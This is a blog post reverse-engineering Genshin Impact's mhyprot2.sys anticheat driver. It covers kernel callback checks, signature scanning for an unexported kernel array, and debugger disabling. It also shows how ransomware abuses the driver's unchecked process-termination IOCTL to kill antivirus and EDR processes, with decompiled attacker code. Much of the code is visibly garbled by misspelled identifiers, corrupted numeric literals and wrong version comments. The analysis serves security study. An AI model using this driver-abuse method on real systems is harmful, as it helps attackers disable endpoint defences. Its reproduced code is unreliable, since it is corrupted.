Analyzing Genshin Impact’s Anticheat Module

Analyzing Genshin Impact’s Anticheat Module

We look into mhyprot2, Genshin Impact's anticheat driver that has been hotly used by spyware and ransomware actors

·

10 min read

In August 2022, TrendMicro reported on a ransomware that uses Genshin Impact’s Anti-Cheat drivers to bypass kernel-level privileges. The driver in question is mhyprot2.sys, part of the anti-cheat regime of the popular online gacha game Genshin Impact. While the game doesn’t have PvP mechanisms, it has a rigid monetization structure that requires anti-tampering technologies to make sure the proper RNGs are distributed, thus protecting MiHoYo’s monetization structure.

mhyprot2 is a part of miHoYo’s clientside anti-cheat approach. As kernel mode drivers have system-level privilege, these types of anticheat mechanisms often provoke controversy about user’s privacy and with many calling similar systems like Riot’s Vanguard or EasyAntiCheat as rootkits. I don’t personally believe that this driver is malicious as analyziong kernel callbacks is the one of the main ways to detect and filter malicious behavior in Windows.

Following NT kernel APIs are used in mhyprot2:

  • The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted.

  • The PsSetCreateThreadNotifyRoutine routine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.

  • The PsSetLoadImageNotifyRoutine routine registers a driver-supplied callback that is subsequently notified whenever an image is loaded (or mapped into memory). This is the routine that we would be discussing.

Callback Routine Detection

The advantage of using these hooks is that mhyprot can easily know when any module or component is being mapped to the game process that mhyprot protects. But how about when a piece of malicious code removes mhyprot’s callback routine on the system? There exists a validation routine that makes sure that mhyprot’s callback routine is active on the system, pictured below.

BOOLEAN __stdcall IsLoadImagellotifyRoutineExists()
{
    char *_pPspLoadImageNotifyRoutine; // rax 
    int Counter2; // ebx
    int Counter: // esi 
    __int64 i; // r14 
    char *CallbackBlock; // rdi 
    __int64 RefCallbackBlock; // rdi
    __int64 j; // rdx

    _pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
    Counter2 = 0;
    // if gpPspLoadImagellotifyRoutine not set, then set
    if (!gpPspLoadImagellotifyRoutine )
    {
        _pPspLoadImageNotifyRoutine = FindPspRemoveLoadImageNotifyRoutine_sub_140006B240);
        gpPspLoadImageNotifyRoutine = (__int64)_pPspLoadImageNotifyRoutine;
        if ( !_pPspLoadImagellotifyRoutine )
            return 1;
    }
    Counter = 0;
    for ( i = 0164; ; i += 8164 )
    {
        CallbackBlock = &_pPspLoadImage lotifyRoutine[il;
        if (&_pPspLoadImageNotifyRoutine[i])
            break;
ContinueEnumeration:
    // Every callback-block arrays have up to 64 of its size
    if ( (unsigned int)++Counter >= 64 )
        return 0;
    }
    if(!(unsigned __int8)mIsAddressValid(&_pPspLoadImageNotifyRoutine[i])
        || (RefCallbackBlock = *(_QWORD *)CallbackBlock) == 0
        || !(unsigned _int8)NmIsAddressValid(RefCallbackBlock)
        || *(void (__fastcall **)(__int64, __int64))((RefCallbackBlock & OxFFFFFFFFFFFFFFFOui64) + 8) != MhyLoadImageCallback )
    {
        _pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
        goto ContinueEnumeration;
    }

    // validate pointer
    for (j = 0164; *(_DWORD *)((char *)&unk_14000A638 + j) == *(_DWORD *)((char *)MhyLoadImageCallback + j); j += 4164 )
    {
        if ( (unsigned int)++Counter2 >= 8 )
        return 1;    
    }
    return 0;
}

As you can see, mhyprot2 has a global pointer variable gpPspLoadImageNotifyRoutine, to hold system’s PspLoadImageNotifyRoutine pointer. This will be cached and when first time this function called, it’s set.

PspLoadImageNotifyRoutine is the array that holds every callback-blocks registred. and when the callback called, every entries functions will be called by system. the point is that this array can only holds 64 numbers of callbacks.

  1. Get PspLoadImageNotifyRoutine array pointer using FindPspRemoveLoadImageNotifyRoutine_sub_140006B24

  2. Enumerate every single callback-block entries, validate, if matches with mhyprot’s callback function pointer, return TRUE

  3. If not found, return FALSE which means the callback was removed intentionally by malicious code, or not registered.

DKOM Countermeasures

PspLoadImageNotifyRoutine is not exported by ntoskrnl due to Microsoft never recommending DKOM methods for device drivers. Instead, mhyprot2 uses FindPspRemoveLoadImageNotifyRoutine_sub_140006B24.

RtlInitUnicodeString(&DestinationString,L"PsRemoveLoadImagellotifyRoutine");
pPsRemoveLoadImagellotifyRoutine=(char*)MmGatSystamRoutinaAddress(&DestinationString);
StubBase=pPsRemoveLoadImageNotifyRoutine;
if(pPsRemoveLoadImagellotifyRoutine)
{
    if ( (unsigned int)gWinVer >= 61
    {
        if ( (unsigned int)gWinVer <= 63 )     // Windows Vista « 8.1
        {
            MaxAddressToSearch = (unsigned _int64)(pPsRemoveLoadImageNotifyRoutine + 255);
            while ((unsigned __int64)StubBase < MaxAddressToSearch)
            {
                if ( *StubBase == 0x48
                  && StubBase[1] == 0x8Du
                  && StubBase[2] == OxD
                  && StubBase[7] == 0x8Bu
                  && StubBase[8] == Oxc6u )
                {
                DerefPointer = &StubBase[*( DWORD *)(StubBase + 3) + 7]:
ValidateAndReturn:
                if ( DerefPointer && (unsigned __int8)MmIsAddressValid(DerefPointer))
                    goto LABEL_26;
                break;
            }
            ++StubBase;
        }
    }
    else if ( gWinver == 100 )    // Windows 10 (Major=19, Minor=0)
    {
        for (i = (unsigned __int64) (pPsRemoveLoadImageNotifyRoutine + 12);
             i < (unsigned ._int64) (pPsRemoveLoadImageNotifyRoutine + 255);
             ++i )
    {
    if (*( BYTE *)(i - 2) == 0x33
        && * ( BYTE *)(i + 1) == 0x8Du
        && * ( BYTE *)(i - 9) == 0x44
        && * ( BYTE *)(i - 10) == 0x66
        && * ( BYTE *)(i + 11) == 0x48 )
    {
        DerefPointer = (char *)(i + *( DWORD *)(: + 3) + 7);
        goto ValidateAndReturn;
    }
   }
  }
 }
     DerefPointer = Oi64:

In short, the driver utilizes signature scanning which allow programmers to find a unique function or variable pointer. In this case, the pointers from all Windows versions between 7 and 8.1 look like: \x48\x8D\x0D\x00\x00\x00\x00\x8B\xC6 with the mask xxx????xx. Windows 10 and later uses: \x48\x66\x44\x00\x00\x00\x00\x00\x00\x33\x00\x00\x8D with the mask xxx??????x??x.

d915702e53bd4dab41cdec4d09c928cb (1).png

The signature represents bytecodes for opcode of instructions, with the line 48 8D 0D 00 00 00 00 ... means lea rcx, PspLoadImageNotifyRoutine. These signatures used to specify the pointer of PspLoadImageNotifyRoutine array, from the address of PsRemoveLoadImageNotifyRoutine + 0xFF.

  1. Get Address of PsRemoveLoadImageNotifyRoutine by MmGetSystemRoutineAddress

  2. Scan in range of PsRemoveLoadImageNotifyRoutine + 0xFF

  3. If pattern matches, dereference, validate and return

  4. If not found, just return PsRemoveLoadImageNotifyRoutine function pointer

Windows Version Detection

Since of course ntoskrnl is different on every version of Windows, they can verify which version of windows they’re running on by gWinVer which set by GetAndSetGlobalVersionVariable.

char GetAndSetGlobalVersionVariable()
{
    int minorVersion; // [rsp+30h] [rbp+8h]
    int majorVersion; // [rsp+38h] [rbp+10h]

    if ( gwinVer )
        return 1;
    majorVersion = 0;
    minorVersion = 0;
    PsGetVersion (&majorVersion, &minorVersion, 0i64, 0i64);
    if (majorVersion == 5 )
    {
        if (minorVersion == 1 )
        {
        gWinVer = 51;
        return 1;
        }
    }
    else if (majorVersion == 6 )             // Windows Vista - 8.1
    {
        switch ( minorVersion )
        {
          case 1:
            gWinVer = 61;
            return 1;
          case 2:
            gWinVer = 62;
            return 1;
          case 3:
            gWinVer = 63;
            return 1;
        }
    }
    else if (majorVersion == 10 && !minorVersion )
    {
        gWinVer = 100;
        return 1;
    }
gwinVer = 0;
return 0;

It’s interesting how miHoYo engineers are using PsGetVersion as it is an obsolete API after Windows XP, replaced with RtlGetVersion. If i had to guess why, it’s probably because Genshin Impact still runs on XP (many PCs in China and other developing economies still run XP, both in the consumer and enterprise segments) and Windows versions beyond XP can always use compatibility mode to translate certain API calls.

majorVersionminorVersiongWinVerProduct
5151Windows XP
6161Windows 7
6262Windows 8
6363Windows 8.1
100100Windows 10

Validation Routine

Well, we figured out how they are checking for malicious behavior against mhyprot’s resource.mhyprot check all of callback routine registrations as follows:

bool CheckForAllCallbacks()
{
    return !GetAndSetGlobalVersionVariable()
    || IsgpPspLoadImageNotifyRoutineValid()
    && IsLoadImageNotifyRoutineExist()
    && IsProcessCreateNotifyRoutineExist()
    && IsCreateThreadNotifyRoutineExist()
}

Above function eventually called from MhyChecksumForever’s CheckForBothObAndAllPsCallbacks which contains additional checks for callback routine registered by ObRegisterCallbacks. This function never returns until driver unloads from the system and it executes a check every 100 seconds.

NTSTATUS MhyChecksumForever()
{
    unsigned __int64 v0; // rbx 
    char Dest; // [rsp+30h] [rbp-Doh]
    char v3; // [rsp+168h] [rbp+68h] 
    int v4; // [rsp+170h] [rbp+70h]
    int v5; // [rsp+178h] [rbp+78h]

    v0 = 1i64;
    sub_1400014E0();
    v4 = 1;
    _InterlockedCompareExchange(6v4, -1, dword_14000A6E8);
    while ( v4 != -1 )
    {
        v5 = 0;
        _InterlockedCompareExchange(&v5, -1, dword_14000A010);
        if ( v5 == -1 )
        {
            if (dword_14000A6FC <= 0 )
            {
                ++dword_14000A6FC;
                sub_140997500(6Dest, 0i64, 256164); sprintf(&Dost, 0x100ui64, "Status false\r\n");
                snprintf(&Dest, 0i64, 256i64);
                sub_1409059EC(0i64, &Dest);
                _InterlockedExchange(&dword_14000A6F8, 1);
            }
        }
        else
        {
            _InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
            if (v0 & 0x32 == 11 )
            {
                v3 = 0;
                KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
                KdDisableDebugger();
                LOBYTE(KdDebuggerEnabled) = 0;
                if ( (unsigned _int8)sub_140001490() == 1 )
                    _InterlockedExchange(&dword_14009AGEC, 3);
            }
        }
        if ( v0 == 50 * (v0 / 0x32) && ChockForBothObAndALLPsCallbacks() )
            _InterlockedExchange(&dword_14000AGEC, 3);
        if (v0 & Ox1E == 11 && Object )
            KeSetEvent((PREVENT)object, 0, 0);
        MhySleepKernelThread(100);
        ++v0;
        sub_1400014E00();
        v4 = 1;
        _InterlockedCompareExchange(&v4, -1, dword_14000A6E8);
    }
    return PsTerminateSystenThread(0);

The interesting part is the KdDisableDebugger thats in MhyChecksumForever as this new version of mhyprot implemented kernel debugger detection.

        {
            _InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
            if (v0 & 0x32 == 11 )
            {
                v3 = 0;
                KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
                KdDisableDebugger();
                LOBYTE(KdDebuggerEnabled) = 0;
                if ( (unsigned _int8)sub_140001490() == 1 )
                    _InterlockedExchange(&dword_14009AGEC, 3);
            }
        }

The call sleeps every 100 seconds until another execution check.

NTSTATUS __fastcall MhySleepKernelThreat(int Second)
{
    LARGE_INTERGER Interval; // [rsp+38h] [rpb+10h]

    Interval.QuadPart = -10000 * Second;
    return KeDelayExecutionThread(0,0,&Interval);
}

Also MhyChecksumForever is created by MhyCreateChecksumThread which calls PsCreateSystemThread.

__int64 MhyCreateChecksumThread()
{
    __int64 v1; // [rsp+40h] [rpb-48h]
    __int64 v2; // [rsp+48h] [rpb-40h]
    int v3; // [rsp+50h] [rpb-38h]
    __int64 v4; // [rsp+58h] [rpb-30h]
    __int64 v5; // [rsp+60h] [rpb-28h]
    int v6; // [rsp+68h] [rbp-20h]
    __int128 v7; // [rsp+70h] [rpb-18h]
    __int64 v8; // [rsp+90h] [rpb+8h]

    _InterlockedExchange(&dword_14000A6E8, 0);
    v3 = 48;
    v4 = 0i64;
    v6 = 512;
    v5 = 0i64;
    v8 = 0i64;
    _mm_storeu_si128((__m128i*)&v7,(__m128i)0i64);
    PsCreateSystemThread(
        (PHANDLE)&v8,
        0,
        (POBJECT_ATTRIBUTES)&v3,
        0i64,
        (PCLIENT_ID)&v1,
        (PKSTART_ROUTINE)MhyChecksumForever,
        0i64);
    return PsLookupThreadByThreadId(v2, &gChecksumThreadHandle);
}

Genshin Impact’s Anticheat is very aggressive, relatively more aggresive than other industry leading anticheat implementations.

Process Termination

Through the disassembled code we can see that it compares the provided IOCTL code with 0x81034000. If they match, it jumps to the relevant section for further processing.

PAGE:FFFFF800188CD0F9 cmp ebx, 81034000h
PAGE:FFFFF800188CD0FF jz short loc_FFFFF800188CD16C

PAGE:FFFFF800188CD16C loc_FFFFF800188CD16C:                   ; CODE XREF: sub_FFFFF800188CD000+FF↑j
PAGE:FFFFF800188CD16C                 mov     rax, [rsp+30h]
PAGE:FFFFF800188CD171                 mov     ecx, [rax]
PAGE:FFFFF800188CD173                 call    sub_FFFFF800188C36A8
PAGE:FFFFF800188CD178                 and     dword ptr [rbp+1D0h+arg_20], 0

In the sub_FFFFF800188C36A8 at the .text segment checks if the provided process ID is non-null, an essential validation step. However, further checks, such as whether the caller has the right to terminate the specified process, appear to be missing.

.text:FFFFF800188C36B0 sub_FFFFF800188C36B0 proc near          ; CODE XREF: sub_FFFFF800188C36A8↑j
.text:FFFFF800188C36B0                                         ; sub_FFFFF800188C4600+27↓p
.text:FFFFF800188C36B0                                         ; DATA XREF: ...
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 var_38          = qword ptr -38h
.text:FFFFF800188C36B0 var_30          = byte ptr -30h
.text:FFFFF800188C36B0 var_28          = qword ptr -28h
.text:FFFFF800188C36B0 var_18          = byte ptr -18h
.text:FFFFF800188C36B0 arg_0           = qword ptr  8
.text:FFFFF800188C36B0 Object          = qword ptr  10h
.text:FFFFF800188C36B0 Handle          = qword ptr  18h
.text:FFFFF800188C36B0 arg_18          = qword ptr  20h
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 ; __unwind { // __C_specific_handler
.text:FFFFF800188C36B0                 test    ecx, ecx // if (param1_processid != NULL)
.text:FFFFF800188C36B2                 jz      locret_FFFFF800188C3779

In this part, the ZwTerminateProcess function is called to terminate a process.

.text:FFFFF800188C3733 loc_FFFFF800188C3733:
.text:FFFFF800188C3735 mov rcx, [rsp+58h+Handle]
.text:FFFFF800188C373A call cs:ZwTerminateProcess

We can leverage the lack of checks here with a specially crafted request, using the specific IOCTL code and a target process ID. Since this IOCTL handler has a payload encryption measure, attackers would need to encrypt the payload.

This is exactly the same method detailed in the Trendmicro report, with the threat actor loading mhyprot2.sys using the NtOpenFile function.

ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow,0);
v4 = 0;
if (!sub_1331000())
{
    memset(Dst, 0, sizeof(Dst));
    wcscpy_s(Dst, 0x100u, L"\\Device\\");
    wcscat_s(Dst, 0x100u, mhyprot2);
    memset(&ServiceStatus.dwCurrentState,0,24);
    ServiceStatus.dwCurrentState = 24;
    v13 = 2 * wcslen(Dst);
    v12 = v13;
    BytesReturned = Dst;
    ServiceStatus.dwWin32ExitCode = &v12;
    v5 = NtOpenFile(&Handle, 0xC0100000, &ServiceStatus.dwCurrentState, &IoStatusBlock, 0, 3u);
}

Afterwards, it seems to scan the common processes that are related to Antivirus or Endpoint Detection suites.

content_1662873222777.png

The information will then be passed to mhyprot2 using the DeviceIoControl function and uses control code 0x81034000 to instruct the driver to terminate the processes in the list on all threads using the ZwTerminateProcess function.

// DeviceIoControl function
    sub_1333979(v7);
if(DeviceIoControl(Handle_to_myprot2, 0x81034000, &InBuffer, 0xCu, &OutBuffer, 0xCu, &BytesReturned, 0))

// The mhyprot2.sys case function
case 0x8103400:
    sub_1400036A8(*v34);
    LODWORD(a5) = 0;

if (ProcessId)
{
    ProcessHandle = 0i64;
    Object = 0i64;
    v1 = PsLookupProcessByProcessId(ProcessId,&Object) >= 0;
    if(Object)
    {
        if(ObOpenObjectByPointer(Object,0,0i64,0,0i64,0,&ProcessHandle))
        {
            if(v1)
                ObDeferenceObject(Object);
        }
        else

// ZwTerminateProcess inside 0x81034000, which terminates a process and all of its threads
        {
            ZwTerminateProcess(ProcessHandle,0);
            ZwClose(ProcessHandle);
            if(v1 && Object)
                ObDeferenceObject(Object);
        }
    }
}

Genshin Impact’s Anticheat is very aggressive, relatively more aggressive than other industry-leading anticheat implementations. Due to the relative popularity of the game, it seems that many have been able to reverse engineer the IOCTL calls of the system and were able to extract signed drivers from the game. Code-signed rootkits like Netfilter or Stuxnet are nothing new, but these rootkits are usually signed with stolen or falsified certificates.

content_1662873321649.png

The offensive use of mhyprot2 brings interesting questions regarding the justification for client-side anticheat systems. As gaming moves into a more live-service model, anti-cheat products will be in higher demand. But companies are also moving away from memory analysis and kernel callback-based anti-cheats with new technologies such as Hyperion by Byfron Technologies which seems to focus more on halting attempts at reverse engineering, thus preserving service integrity without significantly intruding user privacy.